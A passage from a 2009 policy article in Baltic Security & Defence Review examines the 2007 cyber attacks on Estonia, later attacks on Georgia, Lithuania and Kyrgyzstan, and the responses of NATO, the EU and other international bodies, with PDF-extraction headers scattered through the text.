Hundreds of demonstrators were arrested, most of whom were Baltic Security  Defence Review                                                   Volume 11, 2009 7 ethnic Russians.
The civil unrest was contained, order was restored to the streets by the Estonian government, and most of the physical damage was repaired by the next morning.
(
Davis, 2009) During this period of civil unrest computers in the Estonian government and the Estonian national media were hacked into with significant affect.
Some of the attacks on the system were vandalism of sites and some were distributed denial of service attacks (a cyber attack that disrupts internet service so that a user cannot access a given computer service).
The attacks started small with a major attack culminating on the Estonian internet system on May 9th, 2007.
This date coincidentally corresponded to the day the Russians celebrate their victory over the Germans in World War II.
During this time a Russian youth-group conducted protests against the Estonian ambassador to Russia and against the Estonian Embassy in Moscow.
The protests against the ambassador and the embassy did not end until the ambassador left the country as part of a deal that was negotiated by Germany.
The Russian government even suspended passenger rail services between Tallinn and St. Petersburg.
The riots, the protests, the stopping of rail service, and the cyber attacks led to an increasingly tense relationship between Estonia and Russia.
(
Davis, 2009 Kampmark, 2003: 288-293) The Estonians were able to respond to the cyber attacks in a very proficient manner, as they were able to coordinate responses that only caused relatively short term outages instead of any permanent damage to their IT infrastructure.
The Estonian government was able to employ its Computer Emergency Response Team (CERT) which coordinated IT responses among government and civilian specialists.
However, due to the ambiguous nature of the internet and the use of fake internet protocol (IP) addresses the Estonians were unable to conclusively prove who initiated the cyber attacks.
(
Collier, 2007) The cyber attacks themselves were not very sophisticated as the attackers used techniques that had been in existence for several years.
The focus of the cyber attack was to completely shut down the IT structure of Estonia.
The cyber attackers used botnet attacks to perform a distributed denial of service rendering systems that use the internet useless.
Botnets are hijacked computers that send out mass amounts of information which overwhelm an internet server.
The increase in internet traffic will cause a server to exceed its bandwidth capabilities and cause it to shut down.
The botnets Volume 11, 2009                                                   Baltic Security  Defence Review 8 can be installed well in advance of a planned cyber attack, and they can be placed in any computer anywhere in the world.
If the computer user has not installed appropriate protective software on their computer they will not even know that they have been hijacked and that they are participating in a cyber attack.
The botnet attacks on the Estonian IT structure ended as abruptly as they began leading Estonian officials to conclude that the attack was a planned and coordinated.
(
Davis, 2009) The cyber attacks on Estonia illustrates the vulnerability of IT structures that rely on the internet.
The use of technology can improve personal, business, and government interactions but it is still vulnerable to attacks and interruptions.
The next section of this article will concentrate on the implications for Estonia in the aftermath of the cyber attacks.
3.
Implications for Estonia After the cyber attacks in 2007, there were several implications for Estonia as the country recovered from the cyber wake-up call.
Some implications had an immediate impact on the people and the government of Estonia, while others were more long term and required a deliberate strategy.
The immediate implication for Estonia was the loss of services for government, communication, and banking.
What emerged from the attack was Estonias ability to counter and minimize the effects of the attack.
There was no permanent damage to the information technology (IT) structure and financial losses were minimal, but the significance was frightening.
(
Collier, 2007) One of the long term implications is the continued strain on Estonias relationship with Russia.
Members of the Estonian government and outside observers believe that the attacks originated in Russia, but that fact remains unproven.
The finger pointing between Estonia and Russia began immediately after the attacks and continues today.
Dmitry Peskov, Deputy Press Secretary for the Russian President said, Russia can no way be involved in cyber terrorism and all claims to the contrary are an absolute lie (The Baltic Times, 2007a).
Andrus Ansip, the Estonian Prime Minister, and others have accused the Russian government because of the identification of Russian internet protocol (IP) addresses used in the attack.
To date, Russian involvement has never been proven, but the implications and belief that they were involved continues to influence and affect the relationship between Russia and Estonia.
(
The Baltic Times, 2007b) Baltic Security  Defence Review                                                   Volume 11, 2009 9 After the attacks and recovery, Estonia has been heralded as a leader in technological security.
According to Alexander Ntok, head of Corporate Strategy at the International Telecommunication Union, it was imaginative responses that allowed Estonia to emerge from the spring cyber attack relatively unscathed (Collier, 2007).
As a result Estonia has capitalized on the internet security market.
They are called upon to assist during attacks and to speak to different business and IT groups on internet security issues.
Estonian government leaders have spoken to allies, regional organizations and international organizations to improve IT security and cooperation.
(
Ibid.)
When Georgias IT infrastructure was attacked in August 2008 specialists from Estonias Computer Emergency Response Team (CERT) travelled to Georgia and assisted response efforts to counter the attacks (DPA, 2008).
This example demonstrates how Estonia has established itself as a major player in an emerging field, as they are too small to make a large impact on the international scene through the use of economic or military power.
Estonia has been able to establish itself as a major player in Europe and among NATO members as an expert in cyber security and cyber war.
Their expertise has allowed them to lobby for increased IT awareness and for increased cooperation to defeat or deter future cyber attacks.
(
Nikiforov, 2008) In 2003 Estonia proposed a cyber excellence centre in Tallinn even before it became a member of NATO.
In light of Estonias expertise in IT the NATO Cyber Defence Centre was approved.
In May 2008 the centre opened in Tallinn with Estonia providing the leadership and personnel to man the centre.
Estonia emerged as a leader within NATO and leads the effort to protect the IT structure of NATO.
(
Socor, 2008) The continuous threat of cyber attacks against its IT structure, and the dedication of public officials to improve IT security resulted in a comprehensive national cyber security strategy.
This strategy, developed by the Ministry of Defence, was adopted by the Estonian government in May of 2008, just over a year after the attack on its IT systems.
The main measures of its strategy included IT security measures that strengthened their defensive posture, as well as developed their expertise and awareness in the IT field.
Estonia now looks to strengthen the international legal framework to ensure that the IT system is protected by laws, and that Volume 11, 2009                                                   Baltic Security  Defence Review 10 violators of the law will be prosecuted.
Estonia has also taken the charge of increasing international co-operation not just to protect their systems but to protect the global cyber system.
(
Estonian Ministry of Defence, 2008) 4.
Cyber concerns for former Soviet satellites What do the countries of Estonia, Georgia, Lithuania and Kyrgyzstan have in common?
They are all former Soviet satellites and have all been allegedly cyber attacked by Russia.
4.1.
Georgian cyber attack On July 20th, 2008 the website of the Georgian president came under a denial of service cyber attack.
The attack shut the website down for 24 hours and was a precursor to a larger cyber attack that would come less than a month later (Melikishvili, 2008/2009).
On August 8th, 2008 a coordinated distributed denial of service attack was made against the Georgian government websites at the same time that Russian forces were engaged in combat with Georgian forces.
As the ground attacks increased so did the cyber attacks.
This was the first time that a cyber attack was done in conjunction with armed conflict.
(
Ibid) The cyber war between Georgia and Russia focused on shaping public opinion on the internet.
Georgian and Russian supporters used a variety of cyber techniques including distributed denial of service attacks and the creation of fake web sites to control how their version of the truth was delivered to the public.
(
Thomas, 2009:55-59) Georgias IT infrastructure was not very advanced so the disruption of service was not as complicated as it was in Estonia.
Banking, media and government websites were blocked disrupting the flow of information throughout Georgia and to the outside world.
The websites of the Ministry of Foreign Affairs and the National Bank were vandalized by adding pictures of the Georgian President and Adolf Hitler (Melikishvili, 2008/2009).
The cyber attacks against Georgia were different from the cyber attacks on Estonia, as these attacks included distributed denial of services using botnets, but they also included SQL injection attacks that are harder to identify than a botnet attack because they require less computers than a botnet attack.
The SQL injection attack shows a greater expertise in Baltic Security  Defence Review                                                   Volume 11, 2009 11 the ability to conduct a cyber attack than the cyber attacks on Estonias IT infrastructure.
(
Secure Works Press Release, 2008) Georgia received considerable assistance in countering the cyber attacks and in communicating internally and internationally.
Google provided domain space to protect the websites of the Ministry of Foreign Affairs and Civil.ge, a Georgian Daily online news service.
A private American internet service provider (the head of the company is an ethnic Georgian) assisted the Georgian government by hosting the Georgian Presidents website.
The President of Poland also assisted the Georgian government by placing official press releases on his website.
Estonia even sent two information security specialists from its Computer Emergency Response Team to assist Georgia in countering the cyber attacks.
According to outside investigators there is no direct proof of any Russian government involvement in the cyber attacks.
But what is undeniable is that even without proven Russian government involvement it remains clear that the Russian government benefited from the cyber attacks.
(
Melikishvili, 2008/2009) 4.2.
Lithuanian cyber attack Lithuania faced its own attacks in June 2008 three days after it passed a law outlawing the use of Soviet and communist symbols over 300 websites were attacked.
Some were denial of service attacks while other sites were vandalized with the Soviet hammer and sickle.
Prior to the attacks and the passage of the law, Russian and Lithuanian ties had deteriorated because of Russias refusal to compensate Lithuanian victims of Soviet labour camps, and Russias leveraging of energy resources for political gain.
Lithuania also blocked talks on an EU-Russia partnership.
The animosities between the two countries have provided observers with a clear motive that the attacks were by the Russians.
The reason for the cyber attacks against Lithuania was similar to the cyber attacks against Estonia, both attacks were in response to a government action that was unpopular to the Russian people.
(
McLaughlin, 2008) 4.3.
Kyrgyzstan cyber attack The latest country that has come under a cyber attack from computers in Russia is Kyrgyzstan.
On January 18th, 2009 Kyrgyzstans two main internet servers came under a denial of service attacks shutting down Volume 11, 2009                                                   Baltic Security  Defence Review 12 websites and email within the country.
The originators of the attacks were traced back to Russia (Rhoads, 2009).
The attacks occurred on the same day that the Russian government was pressuring Kyrgyzstan to stop U.S. access to the airbase at Bishkek at Manas.
The airbase is a key logistics centre that supports the U.S. war efforts in Afghanistan.
According to Don Jackson, a senior security researcher at SecureWorks4, the distributed denial of service attacks are believed to be directed towards any opposition that is not in favour of the closure of the airbase.
While it is unproven whether the government was behind the attacks the implication is that cyber attacks will be used against any opposition to the Russian government (Bradbury, 2009).
The cyber attacks on Georgia, Lithuania and Kyrgyzstan have two characteristics in common.
The first characteristic is that the cyber attacks were initiated because of opposition to the Russian government and secondly that there is no proof that the Russian government was involved in the cyber attacks.
Regardless of who is initiating the attack it is clear that opposition to the Russian government could result in a cyber attack which could disrupt critical government infrastructure.
5.
Compelling realities for the North Atlantic Treaty Organization Cyber defence is a critical issue for NATO.
U.S. General James Mattis, NATOs Supreme Allied Commander for Transformation, articulates the importance of cyber defence for NATO by stating, We cannot say that we are not going to defend the Web that everybody needs (Tanner Peach, 2008).
Nations that are party to the North Atlantic Treaty agree on Article 5 that an armed attack against one or more of them in Europe or North America shall be considered an attack against them all (The North Atlantic Treaty, 1949).
Does a cyber attack fit the requirement of an armed attack?
A senior NATO official asked, If a member states communications centre is attacked with a missile, you call it an act of war.
So what do you call it if the same installation is disabled with a cyber- attack?
(
The Economist, 2007).
However, the current political reality is that they are not the same.
Prior to the cyber attacks on Estonia, NATOs cyber strategy was focused on NATOs ability to protect its own IT infrastructure.
Now, the current reality is, is that the NATOs strategy must focus on assisting allies as they protect their own IT infrastructure during an attack (North Atlantic Treaty Organization, undated a).
Baltic Security  Defence Review                                                   Volume 11, 2009 13 Members of NATO have taken several steps in defining a cyber strategy and implementing a cyber defence.
As early as 2002, at the Prague Summit, cyber defence appeared on NATOs agenda.
At the Prague Summit NATO leaders agreed to the implementation of a NATO Cyber Defence Program.
The program consisted of a NATO Computer Incident Response Capability and for NATO to use the latest cyber defence measures (North Atlantic Treaty Organization, undated a).
In the spring of 2006 cyber defence was made a priority for NATO during the Riga Summit.
The issue of cyber security gained even more attention when Estonia, a NATO member, was cyber attacked in 2007 (EU News, Policy Positions  EU Actors online, 2008).
NATO conducted a thorough assessment of its IT structure and how it would defend itself against a cyber attack.
This assessment led to an October 2007 report on cyber defence that was issued to the Allied Defence Ministers.
The report recommended measures to improve protection against cyber attacks (North Atlantic Treaty Organization, undated a).
What followed was a cyber defence policy in early 2008 and the creation of a NATO Centre of Excellence for cyber defence in May 2008 (North Atlantic Treaty Organization, 2008a).
In April 2008, during the Bucharest Summit, cyber defence was part of the summit declaration.
The declaration emphasizes the need to protect key information systems, the sharing of best practices, and for Allied nations to provide assistance to counter a cyber attack (North Atlantic Treaty Organization, 2008b).
Even though not all NATO nations are part of the Cyber Defence Centre the centre works to enhance the cyber defence capabilities of all NATO members.
The centre itself is not even funded by NATO but by the nations that participate in the running of the centre of excellence.
The centre has been charged with doctrine and concept development, awareness and training, research, development, analysis, and lessons learned.
The experts at the centre also serve as cyber defence consultants for NATO members North Atlantic Treaty Organization, undated b).
The compelling reality for NATO is that cyber warfare has affected member nations and continuous to be a realistic threat for the organization and for its members.
NATO members are continuing to develop ways to counter future threats by sharing best practice information, information on technical cyber defences, and by agreeing to assist member nations in countering a cyber attack.
Volume 11, 2009                                                   Baltic Security  Defence Review 14 6.
Multilateral initiatives Only a few international treaties on cyber security exist making international cooperation to prevent cyber attacks extremely difficult.
Even finding and then holding accountable a person that commits a cyber crime is almost impossible without some international cooperation (Organization for Security and Co-Operation in Europe, 2008).
In the aftermath of the cyber attacks on Estonia the European Union commissioned a study to examine the issues concerning cyber security facing members of the European Union.
This section will examine the European Union study and other multinational initiatives that have an impact on the cyber security of former Soviet satellites and Russia.
(
Cornish, 2009) 6.1.
Convention on Cybercrime The Council of Europe has established a treaty on cyber crime that entered into force5 in 2004.
Twenty-two Council of Europe member nations, along with the United States, have ratified the treaty agreeing to international cooperation concerning cybercrime issues.
The Russian Federation has not agreed to the treaty making it difficult for states to resolve issues with Russia concerning cyber crimes in an international forum (Council of Europe, undated a).
This treaty is still significant because it is the first international treaty on crimes committed on the internet (Council of Europe, undated b).
The main goal of the convention, as stated in the preamble, is to protect nations against cybercrime, by adopting laws and regulations, and fostering co-operation internationally.
The states that become a party to the Convention on Cybercrime agree to adopt laws that create criminal penalties for committing crimes on the internet.
The convention outlines several areas that states have agreed to make criminal statutes on issues such as illegal access of computer systems, system and data interference, and other computer related fraud.
Nations that are party to the convention also agree to cooperate with investigations, to provide mutual assistance concerning cyber crimes, and to pursue the collection of evidence.
The extradition of alleged cybercriminals is also agreed to by parties to the treaty.
Disagreements between states that have ratified the treaty include direct negotiations, settlement in front of the European Committee on Crime Problems (CDPC), a tribunal for arbitration or adjudication in front Baltic Security  Defence Review                                                   Volume 11, 2009 15 of the International Court of Justice.
The Convention on Cybercrime gave a framework for cooperation among member states for the prosecution of cyber criminals by removing safe havens for the cyber criminals.
(
Council of Europe, 2001) However, Russia does agree to the convention and it protects citizens who engage in cyber misconduct by preventing their extradition out of Russia.
Failing to sign the convention agreement also prevents Russia from having any legal standing to prosecute trans-national cyber criminals who attack Russias IT infrastructure.
6.2.
Organization for Security and Co-operation in Europe The Organization for Security and Co-operation in Europe (OSCE) has a tradition of promoting the security and stability of Europe.
This tradition of promoting security and stability since 2004 has included cyber security.
The OSCEs initial focus on cyber security concerned the use of the internet for recruiting, fundraising, and communication by terrorist organizations.
In 2006 the OSCEs efforts began to focus on protecting vital information infrastructures against cyber attacks.
Debate in the OSCE has not led to great change but has been a forum for further cooperation in cyber security in Europe.
In June 2008, the Estonian Defence Minister, Jaak Aaviksoo, in an address to members of the OSCE, said there is an immense amount of work to be done [concerning cyber security].
Minister Aaviksoo used the forum of the OSCE to use his nations experience in defending against cyber crime to increase international cooperation in Europe.
This statement by the Estonian Defence Minister sums up OSCEs efforts concerning cyber defence, they are still in the talking phase and have at least recognized the importance of cyber defence (Cornish, 2009:20-21).
The OSCE will continue to be a forum to publicize grievances for European nations that have had their IT infrastructures attacked by Russian hackers.
European nations will judge Russia on its cooperation with the OSCE in finding and prosecuting individuals who engage in cyber attacks.
6.3.
The European Union Estonia continues to lobby for improved international cooperation in cyber security as it calls on the European Union (EU) to pass legislation concerning crimes committed on the internet.
While addressing the Volume 11, 2009                                                   Baltic Security  Defence Review 16 European Parliament, Toomas Hendrik, the Estonian President, called upon the EU to pass legislation that make cyber attacks against public and private web sites a criminal act (Jones, 2008).
The EU has several initiatives involving different agencies but lacks an overall cyber security strategy.
The European Commission has the Information Society and Media Directorate General, the European Network and Information Security Agency (ENISA), and the Contact Network of Spam Authorities that deal with different aspects of cyber security.
The Information Society and Media Directorate has a program to improve the content of the internet by protecting people from child pornography, racism, and other harmful online content.
The ENISA is an agency that was created in 2004 to raise awareness of cyber security issues and to promote best practices by member nations with the EU.
The Contact Network of SPAM authorities is an initiative to counter SPAM and share information on best practices between EU member nations.
(
Cornish, 2009:24-27) The European Parliament has established several standing committees concerned with cyber security issues.
The Committee on Industry, Research, and Technology (ITRE) is concerned with establishing information technology networks within the EU.
The Committee on Civil Liberties, Justice, and Home Affairs (LIBE) is responsible of the protection of personal information on the internet for members of the EU.
The Committee on Foreign Affairs is responsible for the Security and Security policies of the EU which includes internet security policies.
(
Cornish, 2009:26) The European Police Office (EUROPOL) is an agency of the Police and Judicial Co-operation (PJC) that has more of a direct role in EU cyber security in the context of combating terrorism, organized crime, and financial crime (Cornish, 2009:25).
Although cyber security is addressed by the EU there is no organization within the EU to ensure that there are no contradictions in cyber security policy among all of the various EU agencies, commissions, and co-operations.
The European Parliament commissioned a study on cyber security published February 2009 that examined security challenges concerning the internet for the EU.
The study recommended that clear roles should be defined for cyber security responses with the many EU organizations, including the establishment of the post of cyber security coordinator and the establishment of a common operating vision for cyber security in order to achieve operational consistency across the EU (Cornish, 2009:31).
The EU and Russia work Baltic Security  Defence Review                                                   Volume 11, 2009 17 together on different challenges including drug and human trafficking, organized crime, and counter-terrorism.
Russia is also the EUs third largest trading partner (European Commission, 2009).
The EUs cyber security organizations can offer a framework for increased cooperation to defeat cyber attacks that originate from or are directed at Russia.
6.4.
The United Nations The main purpose of the United Nations (UN) is to maintain international peace and security among the different nations of the world (United Nations, 1945).
The focus for cyber security for the UN, through the UN Security Council, has been on countering terrorism.
Debates among the UN General Assembly started in 2002 highlighted the growing dependence on IT use.
Out of discussions came a warning that law enforcement activities would not be sufficient but that more efforts in cyber security need to be made on prevention.
(
Cornish, 2009:17) The International Telecommunication Union (ITU) is the main organization that is responsible for cyber security within the UN framework.
The ITUs goal is to enhance cyber security in order for individuals, businesses and nations to have confidence in the use of cyberspace.
The ITU uses its Global Cyber Security Agenda, which began in 2007, to promote its goals of increased cyber security.
The ITU has not been an agency for the enforcement of legislation and international agreements concerning cyber security but has focused on assisting in building nations capabilities for cyber security (Cornish, 2009:17-18).
Former Soviet satellites can cooperate with the ITU to improve their cyber defences against cyber criminals from Russia or any other nation.
The UN will continue to be a forum for Russia to voice grievances or defend themselves against world opinion in matters involving international peace and security including cyber security.
6.5.
Relevance of multilateral initiatives Although the Russian government cooperates with Europe and other nations on a variety of economic and security issues, individuals, organizations, and governments are able to exploit the weaknesses of the international system in order to use the internet for criminal activities without fear of any major reprisals.
Significant effort has been made towards cyber security since the cyber attack on Estonia in 2007, but much Volume 11, 2009                                                   Baltic Security  Defence Review 18 more needs to be done among national and international organizations to ensure genuine cyber security.
The framework for increasing cyber security exists, but it will take the cooperation of many nations, including Russia, to make a difference in cyber security.
7.
Implications for the United States The cyber attack on Estonia should be considered a significant wake-up call for the United States.
Even though the attacks had no direct impact on the U.S., Estonia is a NATO ally and the attack clearly showed aggressive intent seeking advantage.
When the attacks occurred the U.S. sent experts to assist and help Estonia with its cyber defences.
Jaak Aaviksoo, the Estonian Defence Minister, was told by U.S. officials that Estonia coped better than the U.S. is likely could in responding to a cyber attack.
The Estonian Computer Emergency Response Team (CERT) was able to concentrate on protecting vital sites by coordinating government and public efforts.
They were also able to create diversions which caused hackers to attack sites which were already disabled or not very important.
(
Collier, 2007) The cyber attack on Estonia demonstrated the importance of legal obligations for the U.S. in rendering support to its allies during a cyber attack (Gee, 2008).
The cyber attack also showed the vulnerability of an IT system, raising the question, if it could happen to Estonia could another trans-national cyber attack of this magnitude happen in the U.S. (Griggs, 2008)?
The convention on cybercrime, which the U.S. is a party to, outlines principles for providing mutual assistance regarding cybercrime (Council of Europe, 2001).
The convention does not mention cyber attacks or cyber war but treats such activities as crimes (Korns Kastenberg, 2008/2009).
Because only 23 countries have agreed to this treaty, its force in the international community is limited (Gee, 2008).
Several members of NATO are participating in the Cyber Defence Centre of Excellence that was established in Estonia, but the U.S. only agreed to the creation of the cyber defence centre as an observer.
The cyber defence centre is working on issues of cyber security that affect NATO along with the U.S (The Associated Press, 2008).
What will the U.S.s response be if a cyber attack destroys infrastructure and kills citizens in an allied country, and then that ally declares war because of the attack?
The plausibility of such an attack was demonstrated in 2007 when scientists from the Idaho Baltic Security  Defence Review                                                   Volume 11, 2009 19 National Laboratory demonstrated how a cyber attack could cause a power plant to overload its system, begin to smoke, and then break down which caused physical damage to equipment.
Currently, both international law and NATOs framework lack coherent responses that are legal in the event of such an attack.
The cyber attackers could limit options for the U.S. under such a scenario by routing their cyber attack through countries which do not have laws or agreements to cooperate with the U.S.
The cyber attacker could remain completely anonymous if the country where the attack was routed through refused to hand over information identifying the cyber attackers.
(
Gee, 2008) Cyber attacks on the U.S. government IT infrastructure are not new.
In March 1998 a cyber attack was launched against computer systems of the U.S. government, private universities and research labs computer systems that lasted for over three years.
Government investigators named the attacks Moonlight Maze.
The cyber attacks targeted gaining access to sensitive but unclassified information (Abreu, 2001).
John Adams, a National Security Agency (NSA) consultant says that government investigators have identified seven internet addresses involved in the cyber attacks that originated in Russia.
Dion Stempfley, a former Pentagon computer analyst, believes that the U.S. prove that the Russian Federation government is sponsoring the attacks but there is evidence that they are allowing or otherwise permitting the cyber attacks.
The cyber attacks which resulted in the theft of technical defence information were serious enough that the U.S. State Department issued a formal complaint to the Russian Federation.
(
Loeb, 2001) In Global Trends 2025, a study conducted by the National Intelligence Council, states over the next two decades non-military aspects of warfare, including cyber, will be prominent (National Intelligence Council, 2008).
According to Secure Works, a cyber security company, in 2008 over 20 million attacks originated from computers within the United States (Secure Works Press Release, 2008).
In 2008 the U.S. Department of Homeland Security created the National Cybersecurity Centre to counter these threats (Griggs, 2008).
The threats to the U.S. infrastructure and technology are moving at a much faster pace than the creation of government structures to counter the threat.
Even a casual observer can see that there is a cyber threat to the U.S., but how is that connected to any Russian involvement in cyber attacks?
There Volume 11, 2009                                                   Baltic Security  Defence Review 20 are three recent examples of how cyber attacks, that may have allegedly originated in Russia, that demonstrate danger for U.S. and Russian relations.
These examples show how attacks against an IT structure were used as cyber pressure to influence nations or organizations.
The first example is when Radio Free Europes internet sites in April 2008 in Eastern Europe were shut down because of a denial of service attack.
The attack lasted two days and coincided with the planned coverage of the anniversary of the 1986 Chernobyl disaster.
The attacks effectively shut down the websites which stopped the flow of information from Radio Free Europe, a U.S. sponsored program (America.gov, 2008).
Another example is the malware (malware is a term used to identify illegal computer access including computer viruses) attack on U.S. Department of Defence computer systems in November 2008.
According to WMD Insights6 the computer attacks are thought to have originated from Russia.
The attacks seemed to target military computer systems and affected the U.S. central command along with computers in Iraq and Afghanistan.
The attacks led to a ban on the use of external computer flash drives on military computers throughout the world.
(
Melikishvili, 2008/2009) The latest example of an attack that may have originated in Russia is the January 2009 denial of service attack that was directed at the government websites of the Republic of Kyrgyzstan.
One theory on why the attack was started was because of Kyrgyzstans support of the U.S. in its war on terror in Afghanistan.
This shows the significance of a cyber attack not directed against the U.S. but against one of its allies.
(
Rhoads, 2009) One senior fellow at the Centre for Strategic and International Studies in Washington, D.C. believes there is no adversary that can defeat the U.S. in cyber space.
A spokesman for the U.S. Department of Homeland Security commented that the U.S. government is able to protect itself from cyber attacks, but the U.S.
IT system is not completely impenetrable.
The director of a non-profit research institute, the United States Cyber Consequences Unit, stated that because the U.S. controls so much internet bandwidth that most of the people that want to harm the U.S. lack the capabilities to shut down U.S. servers.
(
Griggs, 2008) The U.S. faces a wide variety of challenges in protecting its own IT structure along with facing the reality of the challenges of its allies cyber Baltic Security  Defence Review                                                   Volume 11, 2009 21 defences.
In the future the U.S. may face cyber attacks that could cause the deaths of its or its allies citizens due to the effects of a cyber attack on an electrical system.
The U.S.s bilateral agreements with countries that hold a strategic U.S. interest could be affected by the use of a cyber attack to influence leaders.
The cyber threats to the U.S. are real and continued attention by the leaders must focus on this threat.
8.
The weakest link  the computer user As you read this article you could be an accomplice to a cyber criminal without even knowing that your computer is conducting a worldwide distributed denial of service attack.
The actions or lack of action of computer users have contributed to the ability of hackers in Russia and elsewhere to conduct their attacks in relative anonymity.7 The internet has vulnerabilities and the individual computer user contributes to the vulnerabilities of private and government IT systems.
In 1997 the National Security Agency (NSA) conducted an exercise to find out how vulnerable government IT systems were to external cyber attacks.
They named the exercise Eligible Receiver.
Thirty-five IT specialists were given the mission to hack into government systems.
They could use any software programs that were available on the internet and they were only given a few limitations.
The IT specialists couldnt use any classified hacking software that belonged to the NSA and they could not violate U.S. law.
The IT specialists were also confined to U.S. government computer systems.
(
Verton, 2003:32-33) What they discovered was how easy it was to hack into government systems, into both classified and unclassified networks.
With the free software that they downloaded from the internet, the NSA specialists were able to conduct distributed denial of service attacks, delete or modify sensitive information and shut down or reformat systems.
Along with the software they used, personal contact methods were also used to gain access into the systems.
The NSA computer specialists would use telephone calls or emails to gain passwords or entry into a system by posing as a supervisor or technician.
The IT specialists were surprised at how easily government and military members delivered their passwords without question.
Even though the exercise was conducted in 1997, and may seem dated, it gives us a great example of how a dedicated effort can disrupt any IT system.
(
Verton, 2003:32-33) Volume 11, 2009                                                   Baltic Security  Defence Review 22 As noted earlier, external flash drives were banned from use with military computer systems.
Authorized users unknowingly passed intrusive malware files from computer to computer infecting IT systems throughout the U.S. Central Command.
The ban on flash drives complicated the sharing of information throughout the theatre.
The malware file was even found on a classified network.
This is one more example of how an individual can spread malicious software infecting multiple computer systems because of a lack of computer security protocols.
(
Melikishvili, 2008/2009) One vulnerability that is associated with computer users is that some people who become hackers are former employees with a grievance against their former employer.
Such people may be motivated by a personal grudge against the U.S. government because they were fired or lost their job due to a reorganization or downsizing.
Their actions as hackers are usually malicious in nature as such people steal or corrupt data, deface websites, or shut down systems.
(
Conway, 2007:82) Even more dangerous than an angry former employee is a case of cyber espionage.
This is where an individual who is motivated by money or ideology sells highly sensitive IT security information.
One such case involves Herman Simm and his wife, Heete Simm, from Estonia (Melikishvili, 2008/2009).
Mr. Simm was arrested in September 2008 for allegedly passing highly classified information on cyber security and missile defence to members of the Russian foreign Intelligence Service (SVR).
Mr. Simm was the head of the State Secret Protection Office where he was responsible for protecting Estonias classified information.
Mrs. Simm was a lawyer who was previously employed at the Estonian national police headquarters.
Mr. Simm had access to classified information concerning NATO and allies of Estonia including the operational information of the NATO Cooperative Cyber Defence Centre based in Tallinn.
If the Estonian government had access to a secret so did Mr. Simm.
The amount of classified information that was compromised is unknown, but may be quite large.
Mr. Simms allegedly became a Russian spy in the mid-1990s and was paid millions of dollars from the Russian Government.
Regardless of how secure a countrys IT structure is, it is still vulnerable because some people will compromise sensitive cyber security information for personal gain.
(
Melikishvili, 2008/2009) Baltic Security  Defence Review                                                   Volume 11, 2009 23 Along with the vulnerabilities already mentioned there are always problems with software products.
Some software is easy for hackers to take advantage of because of security deficiencies.
Computers may be infected before the user or software company has identified the problem.
Then it will take time for the software company to produce a security patch.
It will take even more time to get the patch to the computer program user and for the security patch to be installed.
During this time the infected computer program may have already infected other computers in a system or throughout the internet.
(
Wilson, 2006:15-16) A major vulnerability for any IT system is the computer user.
Whether the computer user is a military member, a government employee, or just a computer user sitting in front of his computer at home, their practices can cause serious damage to a computer system.
Normal computer users receive little or no training in the best security practices.
(
Wilson, 2006:14) The cost of poor security practices can be high.
Along with the loss of data or the disruption of service there is also the physical cost associated with malware and viruses.
For example, in 2007 the Federal Bureau of Investigation (FBI) uncovered a botnet campaign that caused losses of over 20 million dollars (Cornish, 2009:9).
One of the botnet hackers that was caught by the FBI and sentenced to prison used botnets to steal peoples identities and bank account information.
After gaining access to personal information and passwords he made on-line purchases and transferred money from the bank accounts.
Another cyber attacker used a phishing scheme where he collected information through infected emails (Wired Staff, 2009).
This section highlighted how the computer user has made IT structures even more vulnerable and the Simm affair demonstrates how cyber espionage adds to that vulnerability.
If countries like the U.S. and Estonia that have highly developed IT infrastructure can be attacked, it is not hard to imagine the vulnerabilities less developed former Soviet satellites have in their IT development phase.
9.
The Russian Federation In this article study several cyber attacks have been attributed to Russia.
Regardless of whether the government of Russia is responsible for the attacks, or merely sanctioned them, for many the perception remains that Russia was behind the cyber attacks.
I will examine Russias use of cyber warfare against former Soviet satellite states.
(
Davis, 2009) Volume 11, 2009                                                   Baltic Security  Defence Review 24 The Russian government views itself as the victim in the case of the cyber attacks on Estonia in 2007.
According to sources in the Kremlin the website of the President of Russia came under a cyber attack.
This was supposedly the largest attack the Russians have faced and it appeared that the servers used to originate the attack were located in the Baltic States.
The Deputy Press Secretary of the Russian President, Dmitry Peskov, countered accusations from Estonia with the fact that Russian government websites are under attack every day from all over the world.
(
The Baltic Times, 2007a) Even as cyber attacks occurred against Georgia, Russians said that they were also the victims of cyber attacks.
Russia Today8, a major media source in Russia, was shut down because of a denial of service attacks directed towards its websites.
IT security specialists that work for Russia Today believe that the denial of service attacks originated from Tbilisi, the capital of Georgia.
(
Watson, 2008) In the aftermath of the cyber attacks on Estonia, Georgia, and other attacks mentioned in this article, the Russian response was to deny any involvement in any cyber attack.
When confronted with evidence that some of the attacks originated from Russian government computers members of the Russian government countered with the fact that computers from all over the world were hijacked and used to attack different computer systems.
(
The Baltic Times, 2007a) Another fact that Russian officials are quick to point out is that the only person arrested for the 2007 cyber attacks on Estonia was an Estonian.
Dmitri Galushkevich, a 20 year old ethnic Russian, who was convicted for the cyber attacks.
Some members of the Estonian government have issued statements doubting the involvement of the Russian government in the cyber attacks.
(
Greenberg, 2008) With the finger pointing that ensues after a cyber attack it is still unclear who was behind the attacks.
The actions of cyber activist groups, or hactivists, will be examined in the case of the cyber attacks on Estonia and Georgia.
Hactivists are individuals that use cyber attacks to take a patriotic or political stand on a political or international issue.
(
Melikishvili, 2008/2009) Baltic Security  Defence Review                                                   Volume 11, 2009 25 During the protests in Estonia, increased chatter and postings on how to conduct and participate in denial of service attacks were found on Russian internet chat sites (Melikishvili, 2008/2009).
Along with the denial of service attacks, some of the Estonian government websites were hacked in order to deface the site.
The sayings on the websites were very pro Russian and very anti Estonian.
Joshua Davis in Wired Magazine supports the view that the reason behind the attacks was nothing more than Russian pride.
(
Davis, 2009) In March of 2009 a member of a Russian pro-Kremlin youth group, Konstantin Goloskokov, publicly took responsibility for creating the 2007 cyber attacks on Estonia.
Goloskokov is a leader of the youth movement Nashi that has routinely conducted cyber attacks and intimidation campaigns on behalf of the Russian government.
The government of the Russian Federation is able to maintain separation from the youth group because it does not directly fund their activities.
The youth groups are funded by pro-government business owners who are trying to gain favour from the Russian government (Shachtman, 2009).
Goloskokov believes that his actions were not illegal but were, an act of civil disobedience organized within the confines of virtual space (Buranov, Vodo Yegikyan, 2009).
The cultural aspects or belief that actions in the cyber world are beyond the law is a consequence for the Russian government and how cyber attacks affect their international relationships.
An assistant to Sergei Markov, a member of Russias State Duma lower house, has also admitted to using his own initiative to conduct cyber attacks against Estonia (Baltic News Service, 2009).
Rein Lang, the Estonian Justice Minister, is contemplating issuing a European arrest warrant for individuals who have admitted to taking part in the attack.
